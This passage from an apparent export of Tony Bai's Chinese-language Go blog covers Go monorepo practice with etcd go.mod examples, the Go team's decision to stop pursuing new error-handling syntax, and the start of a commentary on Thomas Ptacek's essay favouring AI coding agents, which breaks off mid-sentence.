篇左右的篇幅进行集中解析和分享。为什么尝试“微专栏”？主要是希望能针对一些值得深挖、但又不足以支撑一个完整大课程的“小而美”的主题，进行更系统、更透彻的分享。\n《征服Go并发测试》微专栏就是我的首次尝试！欢迎大家订阅学习。\n** 并发测试不再“玄学”！与 Go 1.25 testing/synctest 共舞 **\n你是否也曾被 Go 并发测试中的不确定性、缓慢执行和难以调试所困扰？time.Sleep 带来的 flaky tests 是否让你在 CI 上提心吊胆？现在，Go 1.25 带来的官方并发测试利器——testing/synctest 包，将彻底改变这一切！\n本系列文章（共三篇）带你从并发测试的痛点出发，深入剖析 testing/synctest 的设计理念、核心 API 与实现原理，并通过丰富的实战案例，手把手教你如何运用它构建可靠、高效的并发测试。\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/06/07/allow-serving-module-under-subdir/","summary":"\u003cp\u003e千呼万唤始出来？Go 1.25解决Git仓库子目录作为模块根路径难题 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"千呼万唤始出来？Go 1.25解决Git仓库子目录作为模块根路径难题"},{"content":"Go项目该拥抱Monorepo吗？Google经验、etcd模式及白盒交付场景下的深度剖析 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nGo项目该拥抱Monorepo吗？Google经验、etcd模式及白盒交付场景下的深度剖析 六月 6, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/06/06/go-monorepo\n大家好，我是Tony Bai。\n在Go语言的生态系统中，我们绝大多数时候接触到的项目都是遵循“一个代码仓库（Repo），一个Go模块（Module）”的模式。这种清晰、独立的组织方式，在很多场景下都运作良好。然而，当我们放眼业界，特别是观察像Google这样的技术巨头，或者深入研究etcd这类成功的开源项目时，会发现另一种代码组织策略——Monorepo（单一代码仓库）——也在扮演着越来越重要的角色。\n与此同时，Go语言的依赖管理从早期的GOPATH模式（其设计深受Google内部Monorepo实践的影响）演进到如今的Go Modules，我们不禁要问：在现代Go工程实践中，尤其是面对日益复杂的项目协作和特殊的交付需求（如国内甲方普遍要求的“白盒交付”），传统的Single Repo模式是否依然是唯一的最佳选择？Go项目是否也应该，或者在何种情况下，考虑拥抱Monorepo？\n这篇文章，就让我们一起深入探讨Go与Monorepo的“前世今生”，解读不同形态的Go Monorepo实践（包括etcd模式），借鉴Google的经验，剖析其在现代软件工程，特别是白盒交付场景下的价值，并探讨相关的最佳实践与挑战。\nGo Monorepo的形态解读：不仅仅是“大仓库” 首先，我们需要明确什么是Monorepo。它并不仅仅是简单地把所有代码都堆放在一个巨大的Git仓库里。一个真正意义上的Monorepo，通常还伴随着统一的构建系统、版本控制策略、代码共享机制以及与之配套的工具链支持，旨在促进大规模代码库的协同开发和管理。\n在Go的世界里，Monorepo可以呈现出几种不同的形态：\n形态1：单一仓库，单一主模块 这是我们最熟悉的一种“大型Go项目”组织方式。整个代码仓库的根目录下有一个go.mod文件，定义了一个主模块。项目内部通过Go的包（package）机制来组织不同的功能或子系统。\n优点： 依赖管理相对简单直接，所有代码共享同一套依赖版本。 缺点： 对于逻辑上可以独立部署或版本化的多个应用/服务，这种方式可能会导致不必要的耦合。一个服务的变更可能需要整个大模块重新构建和测试，灵活性稍差。 形态2：单一仓库，多Go模块 —— 以etcd为例 这种形态更接近我们通常理解的“Go Monorepo”。etcd-io/etcd项目就是一个很好的例子。它的代码仓库顶层有一个go.mod文件，定义了etcd项目的主模块。但更值得关注的是，在其众多的子目录中（例如 client/v3, server/etcdserver/api, raft/raftpb 等），也包含了各自独立的go.mod文件，这些子目录本身也构成了独立的Go模块。\netcd为何采用这种模式？\n独立的版本演进与发布： 像client/v3这样的客户端库，其API稳定性和版本发布节奏可能与etcd服务器本身不同。将其作为独立模块，可以独立打版本标签（如client/v3.5.0），方便外部项目精确依赖特定版本的客户端。 清晰的API边界与可引用性： 子模块化使得每个组件的公共API更加明确。外部项目可以直接go get etcd仓库中的某个子模块，而无需引入整个庞大的etcd主项目。 更细粒度的依赖管理： 每个子模块只声明自己真正需要的依赖，避免了将所有依赖都集中在顶层go.mod中。 那么，一个Repo下有多个Go Module是Monorepo的一种形式吗？ 答案是肯定的。这是一种更结构化、更显式地声明了内部模块边界和依赖关系的Monorepo形式(即便规模较小，内部的模块不多)。它们之间通常通过go.mod中的replace指令（尤其是在本地开发或特定构建场景）或Go 1.18引入的go.work工作区模式来协同工作。比如下面etcd/etcdutl这个子目录下的go.mod就是一个典型的使用replace指令的例子：\nmodule go.etcd.io/etcd/etcdutl/v3 go 1.24 toolchain go1.24.3 replace ( go.etcd.io/etcd/api/v3 =\u0026gt; ../api go.etcd.io/etcd/client/pkg/v3 =\u0026gt; ../client/pkg go.etcd.io/etcd/client/v3 =\u0026gt; ../client/v3 go.etcd.io/etcd/pkg/v3 =\u0026gt; ../pkg go.etcd.io/etcd/server/v3 =\u0026gt; ../server ) // Bad imports are sometimes causing attempts to pull that code. // This makes the error more explicit. replace ( go.etcd.io/etcd =\u0026gt; ./FORBIDDEN_DEPENDENCY go.etcd.io/etcd/v3 =\u0026gt; ./FORBIDDEN_DEPENDENCY go.etcd.io/tests/v3 =\u0026gt; ./FORBIDDEN_DEPENDENCY ) require ( github.com/coreos/go-semver v0.3.1 github.com/dustin/go-humanize v1.0.1 github.com/olekukonko/tablewriter v1.0.7 github.com/spf13/cobra v1.9.1 github.com/stretchr/testify v1.10.0 go.etcd.io/bbolt v1.4.0 go.etcd.io/etcd/api/v3 v3.6.0-alpha.0 go.etcd.io/etcd/client/pkg/v3 v3.6.0-alpha.0 go.etcd.io/etcd/client/v3 v3.6.0-alpha.0 go.etcd.io/etcd/pkg/v3 v3.6.0-alpha.0 go.etcd.io/etcd/server/v3 v3.6.0-alpha.0 go.etcd.io/raft/v3 v3.6.0 go.uber.org/zap v1.27.0 ) //... ... 形态3：Google规模的Monorepo (The Google Way) Google内部的超大规模Monorepo是业界典范，正如Rachel Potvin和Josh Levenberg在其经典论文《Why Google Stores Billions of Lines of Code in a Single Repository》中所述，这个单一仓库承载了Google绝大多数的软件资产——截至2015年1月，已包含约10亿个文件，900万个源文件，20亿行代码，3500万次提交，总计86TB的数据，被全球95%的Google软件开发者使用。\n其核心特点包括：\n统一版本控制系统Piper： Google自研的Piper系统，专为支撑如此规模的代码库而设计，提供分布式存储和高效访问。 强大的构建系统Blaze/Bazel： 能够高效地构建和测试这个庞大代码库中的任何目标，并精确管理依赖关系。 单一事实来源 (Single Source of Truth)： 所有代码都在一个地方，所有开发者都工作在主干的最新版本（Trunk-Based Development），避免了多版本依赖的困扰（如“菱形依赖问题”）。 原子化变更与大规模重构： 开发者可以进行跨越数千个文件甚至整个代码库的原子化修改和重构，构建系统确保所有受影响的依赖都能同步更新。 广泛的代码共享与可见性： 促进了代码复用和跨团队协作，但也需要工具（如CodeSearch）和机制（如API可见性控制）来管理复杂性。 Go语言的许多设计哲学，如包路径的全局唯一性、internal包的可见性控制、甚至早期的GOPATH模式（它强制所有Go代码在一个统一的src目录下，模拟了Monorepo的开发体验），都在不同程度上受到了Google内部这种开发环境的影响。\nGoogle Monorepo的智慧：版本、分支与依赖管理的启示 虽然我们无法完全复制Google内部的庞大基础设施和自研工具链，但其在超大规模Monorepo管理上积累的经验，依然能为我们带来宝贵的启示：\nTrunk-Based Development (主干开发)： Google绝大多数开发者工作在主干的最新版本。新功能通过条件标志（feature flags）控制，而非长时间存在的特性分支，这极大地避免了传统多分支开发模式下痛苦的合并过程。发布时，从主干切出发布分支，Bug修复在主干完成后，择优（cherry-pick）到发布分支。 统一版本与依赖管理： Monorepo的核心优势在于“单一事实来源”。所有内部依赖都是源码级的，不存在不同项目依赖同一内部库不同版本的问题。对于第三方开源依赖，Google有专门的流程进行统一引入、审查和版本管理，确保整个代码库中只有一个版本存在。这从根本上解决了“菱形依赖”等版本冲突问题。 强大的自动化工具链是基石： * 构建系统 (Bazel)： 能够进行精确的依赖分析、增量构建和并行测试，是Monorepo高效运作的核心。 * 代码审查 (Critique)： Google文化高度重视代码审查，所有代码提交前都必须经过Review。 * 静态分析与大规模重构工具 (Tricorder, Rosie)： 自动化工具用于代码质量检查、发现潜在问题，并支持跨整个代码库的大规模、安全的自动化重构。 * 预提交检查与持续集成： 强大的自动化测试基础设施，在代码提交前运行所有受影响的测试，确保主干的健康。 对我们的启示：\n“单一事实来源”的价值： 即使不采用Google规模的Monorepo，在团队或组织内部，尽可能统一核心共享库的版本，减少不必要的依赖分歧，是非常有益的。 自动化的力量： 投入自动化测试、CI/CD、代码质量检查和依赖管理工具，是管理任何规模代码库（尤其是Monorepo）的必要投资。 主干开发与特性标志： 对于需要快速迭代和持续集成的项目，主干开发结合特性标志，可能比复杂的多分支策略更敏捷。 对依赖的审慎态度： Google对第三方依赖的严格管控值得借鉴。任何外部依赖的引入都应经过评估。 企业级Go Monorepo的最佳实践：从理念到落地 当我们的组织或项目发展到一定阶段，特别是当多个Go服务/库之间存在紧密耦合、需要频繁协同变更，或者希望统一工程标准时，Monorepo可能成为一个有吸引力的选项。\n以下是一些在企业环境中实施Go Monorepo的最佳实践：\n明确采用Monorepo的驱动力与目标： 是为了代码共享？原子化重构？统一CI/CD？还是像我们接下来要讨论的“白盒交付”需求？清晰的目标有助于后续的设计决策。\n项目布局与模块划分的艺术：\n* **清晰的顶层目录结构：** 例如，使用cmd/存放所有应用入口，pkg/存放可在Monorepo内部跨项目共享的库，services/或components/用于组织逻辑上独立的服务或组件（每个服务/组件可以是一个独立的Go模块），internal/用于存放整个仓库共享但不对外暴露的内部实现。 * **推荐策略：为每个可独立部署的服务或可独立发布的库建立自己的go.mod文件。** 这提供了明确的依赖边界和独立的版本控制能力。 * **使用go.work提升本地开发体验：** 在Monorepo根目录创建go.work文件，将所有相关的Go模块加入工作区，简化本地开发时的模块间引用和构建测试。 依赖管理的黄金法则： * **服务级go.mod中的replace指令：** 对于Monorepo内部模块之间的依赖，务必在依赖方的go.mod中使用replace指令将其指向本地文件系统路径。这是确保模块在Monorepo内部能正确解析和构建的关键，尤其是在没有go.work的CI环境或交付给客户时。 // In my-org/monorepo/services/service-api/go.mod module my-org/monorepo/services/service-api go 1.xx require ( my-org/monorepo/pkg/common-utils v0.1.0 // 依赖内部共享库 ) replace my-org/monorepo/pkg/common-utils =\u0026gt; ../../pkg/common-utils // 指向本地 * **谨慎管理第三方依赖：** 定期使用go list -m all、go mod graph分析依赖树，使用go mod tidy清理，关注go.sum的完整性。使用govulncheck进行漏洞扫描。 版本控制与发布的规范： * **为每个独立发布的服务/库打上带路径前缀的Git Tag：** 例如，为services/appA模块的v1.2.3版本打上services/appA/v1.2.3的Tag。这样，外部可以通过go get my-org/monorepo/services/appA@services/appA/v1.2.3来精确获取。 * **维护清晰的Changelog：** 无论是整个Monorepo的（如果适用），还是每个独立发布单元的，都需要有详细的变更记录。 分支策略的适配： * 可以考虑简化的Gitflow（主分支、开发分支、特性分支、发布分支、修复分支）或更轻量的GitHub Flow / GitLab Flow。关键是确保主分支（如main或master）始终保持可发布或接近可发布的状态。 * 特性开发在独立分支进行，通过Merge Request / Pull Request进行代码审查后合入主开发分支。 CI/CD的智能化与效率： * **按需构建与测试：** CI/CD流水线应能识别出每次提交所影响的模块/服务，仅对受影响的部分进行构建和测试，避免不必要的全量操作。 * **并行化：** 利用Monorepo的结构，并行执行多个独立模块/服务的构建和测试任务。 * **统一构建环境：** 使用Docker等技术确保CI/CD环境与开发环境的一致性。 Go Monorepo与白盒交付：相得益彰的“黄金搭档” 现在，让我们回到一个非常具体的、尤其在国内甲方项目中常见的需求——白盒交付。白盒交付通常意味着乙方需要将项目的完整源码（包括所有依赖的内部库）、构建脚本、详细文档等一并提供给甲方，并确保甲方能在其环境中独立、可复现地构建出与乙方交付版本完全一致的二进制产物，同时甲方也可能需要在此基础上进行二次开发或长期维护。\n在这种场景下，如果乙方的原始项目是分散在多个Repo中（特别是还依赖了乙方内部无法直接暴露给甲方的私有库），那么采用为客户定制一个整合的Monorepo进行交付的策略，往往能带来诸多益处：\n解决内部私有库的访问与依赖问题： 我们可以将乙方原先的内部私有库代码，作为模块完整地复制到交付给客户的这个Monorepo的特定目录下（例如libs/或internal_libs/）。然后，在这个Monorepo内部，所有原先依赖这些私有库的服务模块，在其各自的go.mod文件中通过replace指令，将依赖路径指向Monorepo内部的本地副本。这样，客户在构建时就完全不需要访问乙方原始的、可能无法从客户环境访问的私有库地址了。\n提升可复现构建的成功率： * **集中的依赖管理：** 所有交付代码及其内部依赖都在一个统一的Monorepo中，通过服务级的go.mod和replace指令明确了版本和本地路径，极大降低了因依赖版本不一致或依赖源不可达导致的构建失败。 * **统一构建环境易于实现：** 针对单一Monorepo提供标准化的构建脚本和Dockerfile（如果使用容器构建），比为多个分散Repo分别提供和维护要简单得多。 * 结合-trimpath、版本信息注入等技巧，更容易在客户环境中构建出与乙方环境内容一致的二进制文件。 简化后续的协同维护与Patch交付： * **集中的代码基：** 即使后续乙方仅以Patch形式向甲方提供Bug修复或功能升级，这些Patch也是针对这个统一Monorepo的特定路径的变更。甲方应用Patch、进行代码审查和版本追溯都更为集中和方便。 * **清晰的项目布局与版本管理：** 在Monorepo内部，通过良好的目录组织和为每个独立服务打上带路径前缀的版本标签，使得甲乙双方对代码结构、版本演进和变更范围都有清晰的认知。 便于客户搭建统一的CI/CD与生成SBOM： * 甲方可以在这个统一的Monorepo基础上，更容易地搭建自己的CI/CD流水线，并实现按需构建。 * 为Monorepo中的每个独立服务生成其专属的软件物料清单（SBOM）也更为规范和便捷。 可见，对于复杂的、涉及多服务和内部依赖的Go项目白盒交付场景，精心设计的客户侧Monorepo策略，可以显著提升交付的透明度、可控性、可维护性和客户满意度。**\n小结 Monorepo并非没有代价。正如Google的论文中所指出的，它对工具链（特别是构建系统）、版本控制实践（如分支管理、Code Review）、以及团队的协作模式都提出了更高的要求。仓库体积的膨胀、潜在的构建时间增加（如果CI/CD优化不当）、以及更细致的权限管理需求，都是采用Monorepo时需要认真评估和应对的挑战。Google为其Monorepo投入了巨大的工程资源来构建和维护支撑系统，这对大多数组织来说是难以复制的。\n然而，在特定场景下——例如拥有多个紧密关联的Go服务、希望促进代码共享与原子化重构、或者面临像白盒交付这样的特殊工程需求时——Monorepo展现出的优势，如“单一事实来源”、简化的依赖管理、原子化变更能力等，是难以替代的。\nGo语言本身的设计，从早期的GOPATH到如今Go Modules对工作区（go.work）和子目录模块版本标签的支持，都在逐步提升其在Monorepo环境下的开发体验。虽然Go不像Bazel那样提供一个“大一统”的官方Monorepo构建解决方案，但其工具链的灵活性和社区的实践，已经为我们探索和实施Go Monorepo提供了坚实的基础。\n最终，Go项目是否应该拥抱Monorepo，并没有一刀切的答案。 它取决于项目的具体需求、团队的规模与成熟度、以及愿意为之投入的工程成本。但毫无疑问，理解Monorepo的理念、借鉴Google等先行者的经验（既要看到其优势，也要理解其巨大投入）、掌握etcd等项目的实践模式，并思考其在如白盒交付等现代工程场景下的应用价值，将极大地拓展我们作为Go开发者的视野，并为我们的技术选型和架构设计提供宝贵的参考。\nGo的生态在持续进化，我们对更优代码组织和工程实践的探索也永无止境。\n聊聊你的Monorepo实践与困惑\nGo语言项目，是坚守传统的“一Repo一Module”，还是拥抱Monorepo的集中管理？你在实践中是如何权衡的？特别是面对etcd这样的多模块仓库，或者类似Google的超大规模Monorepo理念，你有哪些自己的思考和经验？在白盒交付场景下，Monorepo又为你带来了哪些便利或新的挑战？\n","permalink":"https://tonybai.com/2025/06/06/go-monorepo/","summary":"\u003cp\u003eGo项目该拥抱Monorepo吗？Google经验、etcd模式及白盒交付场景下的深度剖析 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Go项目该拥抱Monorepo吗？Google经验、etcd模式及白盒交付场景下的深度剖析"},{"content":"Go 错误处理语法之争尘埃落定？Go 团队为何十五年探索后仍选择“不” - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nGo 错误处理语法之争尘埃落定？Go 团队为何十五年探索后仍选择“不” 六月 4, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/06/04/error-syntax\n大家好，我是Tony Bai。\n长久以来，Go 语言中 if err != nil 的错误处理模式因其普遍性和由此带来的代码冗余，一直是社区反馈中最持久、最突出的痛点之一。尽管 Go 团队及社区投入了大量精力，历经近十五年的探索，提出了包括 check/handle、try 内建函数以及借鉴 Rust 的 ? 操作符在内的多种方案，但始终未能就新的错误处理语法达成广泛共识。近日，Go 官方团队通过一篇博文正式阐述了其最新立场：在可预见的未来，将停止寻求通过改变语法来简化错误处理，并将关闭所有相关的提案。 这一决策无疑在 Go 社区引发了广泛关注和深入思考。\n漫漫探索路：从 check/handle 到 ? 操作符 Go 语言的错误处理冗余问题，尤其在涉及大量 API 调用且错误处理逻辑相对简单的场景下尤为突出。一个典型的例子如下：\nfunc printSum(a, b string) error { x, err := strconv.Atoi(a) if err != nil { return err // 样板代码 } y, err := strconv.Atoi(b) if err != nil { return err // 样板代码 } fmt.Println(\u0026#34;result:\u0026#34;, x + y) return nil } 在这个函数中，近一半的代码行用于错误检查和返回，这无疑增加了代码的视觉噪音，降低了核心逻辑的清晰度。因此，多年来，改进错误处理的呼声在 Go 开发者年度调查中一直居高不下。\nGo 团队对此高度重视，并进行了一系列尝试：\ncheck/handle 机制 (2018年) 由 Russ Cox 正式提出，基于 Marcel van Lohuizen 的草案设计。该机制引入了 check 用于检查错误并提前返回，handle 用于定义错误处理逻辑。\n// 设想的 check/handle 用法 func printSum(a, b string) error { handle err { return err } // 定义错误处理 x := check strconv.Atoi(a) // 检查错误 y := check strconv.Atoi(b) // 检查错误 fmt.Println(\u0026#34;result:\u0026#34;, x + y) return nil } 然而，该方案因其复杂性未被广泛接受。\ntry 内建函数 (2019年) 作为 check/handle 的简化版，try 函数会在遇到错误时从其所在的封闭函数返回。\n// 设想的 try 用法 func printSum(a, b string) error { x := try(strconv.Atoi(a)) y := try(strconv.Atoi(b)) fmt.Println(\u0026#34;result:\u0026#34;, x + y) return nil } 尽管 Go 团队投入巨大，但 try 因其隐式的控制流改变（可能从深层嵌套表达式中返回）而遭到许多开发者的反对，最终也被放弃。Go 团队反思，或许引入新关键字并限制 try 的使用范围会是更好的路径。\n借鉴 Rust 的 ? 操作符 (2024年) 由 Ian Lance Taylor 提出，希望通过借鉴其他语言中已验证的机制来取得突破。\n// 设想的 ? 操作符用法 func printSum(a, b string) error { x := strconv.Atoi(a) ? y := strconv.Atoi(b) ? fmt.Println(\u0026#34;result:\u0026#34;, x + y) return nil } 此方案虽然在小范围用户研究中表现出一定的直观性，但在社区讨论中依然未能形成足够支持，并引发了大量关于细节调整的建议。\n除了官方提案，社区也贡献了数以百计的错误处理改进方案，但无一例外都未能获得压倒性的支持。\n官方立场：为何按下暂停键？ 面对多年探索未果的局面，Go 团队基于以下几点理由，做出了暂停错误处理语法层面改进的决定。\n缺乏社区共识 这是最核心的原因。根据 Go 的提案流程，一项提案需要得到社区的普遍共识才能被接受。然而，在错误处理语法这个问题上，无论是官方还是社区的提案，都未能凝聚起足够的共识。甚至 Go 团队内部也未能就最佳方案达成一致。\n维护现状的合理性 时机问题:Go 已经发展了十五年，现有的错误处理方式虽然冗余，但功能完善且被广泛理解和使用。早期引入语法糖可能更容易被接受，但现在改变的门槛更高。 避免制造新的“不快乐”: 即使找到了“完美”方案，强制推广新语法也可能让习惯了现有方式的开发者感到不适，重蹈类似泛型引入初期的一些争议。但与泛型不同，错误处理语法几乎会影响所有开发者。 Go 的设计哲学: Go 倾向于“只提供一种（或尽可能少）的方式来做同一件事”。引入新的错误处理语法会打破这一原则。有趣的是，:= 短变量声明中的变量重声明规则，最初也是为了解决连续错误检查中 err 变量命名问题而引入的，如果早期有更好的错误处理语法，这个规则或许就不需要了。 关注错误处理的本质，而非仅仅语法 当错误被“真正处理”时，冗余感会降低。 良好的错误处理通常需要附加额外上下文信息，而不仅仅是简单返回。例如： func printSum(a, b string) error { x, err := strconv.Atoi(a) if err != nil { return fmt.Errorf(\u0026#34;invalid integer: %q\u0026#34;, a) // 附加信息 } // ... return nil } 在这种情况下，if err != nil 的样板代码占比相对减小。\n标准库的增强： 新的库函数（如 cmp.Or）或未来的库特性，可以在不改变语法的情况下帮助减少错误处理的样板代码。 func printSum(a, b string) error { x, err1 := strconv.Atoi(a) y, err2 := strconv.Atoi(b) if err := cmp.Or(err1, err2); err != nil { // 使用 cmp.Or return err } fmt.Println(\u0026#34;result:\u0026#34;, x+y) return nil } 工具的辅助作用 编写时： 现代 IDE（包括基于 LLM 的工具）已经能够很好地辅助生成重复的错误检查代码。 阅读时： IDE 或可提供隐藏/折叠错误处理代码块的功能，减少视觉干扰。 调试时： 显式的 if 语句更便于设置断点和添加调试输出，而高度集成的语法糖可能会使调试变得复杂。 语言演进的成本与优先级 任何语言的改动都伴随着巨大的成本：设计、实现、文档更新、工具调整以及社区的适应。Go 团队规模有限，需要优先处理其他重要事项。 开发者习惯的演变： 许多有经验的 Go 开发者表示，随着对 Go 错误处理哲学的深入理解和实践，最初感到的冗余问题会逐渐减轻。 对开发者的影响与未来展望 Go 团队的这一决定，意味着在可预见的未来，if err != nil 仍将是 Go 语言错误处理的标准范式。开发者需要：\n接受现状并深入理解其哲学： Rob Pike 的名言“Errors are values”依然是理解 Go 错误处理的核心。错误是程序正常流程的一部分，显式处理它们有助于编写健壮的软件。\n利用现有工具和库：\n善用 IDE 的代码生成和辅助功能。 探索和使用标准库或第三方库提供的错误处理辅助工具（如 errors.Is, errors.As, fmt.Errorf 的 %w 以及可能的新库特性）。 关注代码质量而非单纯追求简洁： 在需要详细错误上下文的地方，不要吝啬代码。清晰、可追溯的错误比极度简化的语法糖更有价值。\n代码可读性依然重要： 尽管语法层面不再追求极致简洁，但在错误处理逻辑本身，依然要力求清晰、易懂。\nGo 团队也指出，他们并未完全关闭对错误处理改进的大门，只是将焦点从“语法层面”移开。未来可能会更深入地研究错误处理的本质问题，例如如何更好地构造和传递包含丰富上下文的错误信息，以及通过库而非语法来提供更好的支持。\n小结 Go 语言在错误处理语法上的探索历程，充分体现了其在语言设计上的审慎与对社区反馈的重视。尽管长达十五年的努力未能催生出被广泛接受的新语法，但这并不代表失败，而是对 Go 核心设计原则的坚守和对现实复杂性的认知。\n对开发者而言，这意味着需要继续在现有的、经过验证的错误处理模式下精进技艺，同时期待 Go 语言在库和工具层面带来更多辅助，以更优雅、更高效地构建可靠的应用程序。\n这场关于错误处理的“语法之争”虽然暂时告一段落，但其引发的关于简洁、清晰、实用与语言稳定性的思考，将对 Go 的长远发展产生深远影响。\n对于 Go 官方在错误处理语法上的最新立场，您有什么看法？您认为现有的 if err != nil 模式在您的日常开发中体验如何？欢迎在评论区分享您的观点和实践经验！\n想要更深入地掌握 Go 语言的错误处理哲学、高级技巧以及更多进阶主题吗？欢迎订阅我的《Go语言进阶课》专栏，与我们一同探索 Go 的魅力，提升您的 Go 开发技能！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/06/04/error-syntax/","summary":"\u003cp\u003eGo 错误处理语法之争尘埃落定？Go 团队为何十五年探索后仍选择“不” - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Go 错误处理语法之争尘埃落定？Go 团队为何十五年探索后仍选择“不”"},{"content":"AI 编码工具“真香”还是“智商税”？一位资深码农的“挑衅”与Go开发者的反思 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nAI 编码工具“真香”还是“智商税”？一位资深码农的“挑衅”与Go开发者的反思 六月 3, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/06/03/provocation-about-ai-assisted-programming\n大家好，我是Tony Bai。\n最近，fly.io 博客上该公司开发者 Thomas Ptacek 的一篇题为《My AI Skeptic Friends Are All Nuts》的文章，在开发者社区掀起了不小的波澜，一度登顶HN。Ptacek 以一位自称“严肃开发者”（从C语言到Go、Rust均有涉猎）的口吻，向那些对 AI 辅助编程持怀疑态度的“聪明朋友们”发出了略带“挑衅”的宣言：“即使 LLM 今天停止所有进展，它仍然是我职业生涯中发生的第二重要的事情” 。\n这篇文章的观点之鲜明、论证之犀利，让我印象深刻。恰逢 前期Google I/O 2025 大会再次展示了 Gemini 等 AI 模型在编码领域的惊人进展，我们不禁要问：AI 编码工具，究竟是能极大提升生产力的“真香”利器，还是又一轮被过度炒作的“智商税”？作为开发者，特别是 Gopher，我们又该如何看待和应对这场正在发生的变革？\n在这篇文章中，我就和大家一起来看看 Thomas Ptacek 对AI辅助编程演进的犀利观点以及他的反思。看看你是否认同他的想法。\n误区澄清：现代 AI 辅助编程早已不是“复制粘贴” Ptacek 在文章开篇就点出了一个关键问题：很多人对 AI 辅助编程的印象，还停留在半年前甚至两年前的水平。他写道：“如果你在6个月前（或者，天哪，两年前用Copilot的时候）尝试使用LLM编码并失败了，那么你并没有在做大多数严肃的LLM辅助编码者正在做的事情”。\n那么，现在“严肃的LLM辅助编码者”在做什么呢？Ptacek 强调，他们使用的是 Agent (智能体)。这些 AI Agent 不再仅仅是根据提示生成代码片段让你复制粘贴，它们能够：\n自主地在你的代码库中进行探索。 直接创建和修改文件。 运行各种工具， 如编译器、测试框架、linter、formatter 等。 与 Git 等版本控制系统交互。 根据编译和测试结果进行迭代和修正。 通过 MCP 或类似机制调用你设置的任意工具。 Ptacek强调：如果你对 AI 编码的印象还停留在 ChatGPT 网页上简单问答然后手动复制代码，那么你可能真的低估了当前 AI Agent 所能达到的自动化和智能化水平。\nAI Agent 如何提升编码效率？Ptacek 的“积极案例” Ptacek 认为，LLM（通过 Agent）能够极大地提升编码效率，主要体现在以下几个方面：\n处理“乏味代码”： LLM 可以编写你需要编写的大部分乏味代码。而大多数项目中的大多数代码都是乏味的。这能让开发者从重复性的工作中解放出来，更快地进入“调整代码并立即看到效果更好”的“黄金时刻 (golden moment)”，获得即时反馈的“多巴胺冲击”。\n克服项目启动的“惯性”： 面对一个新项目，繁琐的初始设置、依赖管理、基础架构搭建等往往令人望而却步。LLM Agent 可以被指示去“搞定这些破事，直接将你带到“事情几乎可以工作”的阶段。\n自动化“苦差事”： 那些你不想做但又必须做的“脏活累活”，比如大规模的单元测试重构，完全可以交给 AI Agent 在虚拟机里折腾几个小时，然后带着一个 PR 回来。这反而会“逼迫”你去做“真正的工作 (real work)”。\n回应常见的质疑：Ptacek 的“辩护” Ptacek 在文章中也针对开发者对 AI 编码的常见质疑进行了犀利的回击，这些回应也为我们思考 Go 语言在 AI 时代的定位提供了新的视角。\n关于代码质量与审查责任——“你根本不知道它写的是什么！” Ptacek强调，开发者始终对合并到 main 分支的代码负责，无论是否使用 LLM。 LLM 生成的代码是“可知的”，你需要阅读它，甚至花时间将其调整为你自己的风格。如果连 LLM 生成的“乏味、重复”的代码都难以理解和消化，那可能是开发人员的“技能问题”。\n关于“幻觉 (hallucination)”问题——“它会编造不存在的API！” Ptacek 认为，对于编程而言，Agent 通过工具链（linting、编译、运行测试）形成的闭环反馈，已经（或多或少地）解决了“幻觉”问题。“如果它们的LLM编造了一个新的函数签名，Agent会看到错误。它们将其反馈给LLM，LLM会说‘哦，是的，我完全是编造的’，然后重试”。这里不能不提到** Go 语言的快速编译特性，使得这种“试错-反馈-修正”的闭环能够非常高效地运转。同时，Go 强大的标准库和清晰的 API 设计，是否也能减少 LLM“编造”API 的概率，或者使其更容易被工具链检测出来。\n关于“代码像初级开发者写的”——“质量太差！” Ptacek 回应：“一个实习生一个月要花20美元吗？因为 Cursor.ai 就是这个价钱”。他认为，高级开发者的职责之一就是让能力稍逊的编码者（无论是人类还是“智能体”）变得高效。使用好 Agent 本身就是一项技能和一项涉及提示、索引和（尤其是）工具链的工程项目。 LLM 只有在你允许的情况下才会产生劣质代码。\n关于“不擅长特定语言 (如 Rust)”——“它写不了我的 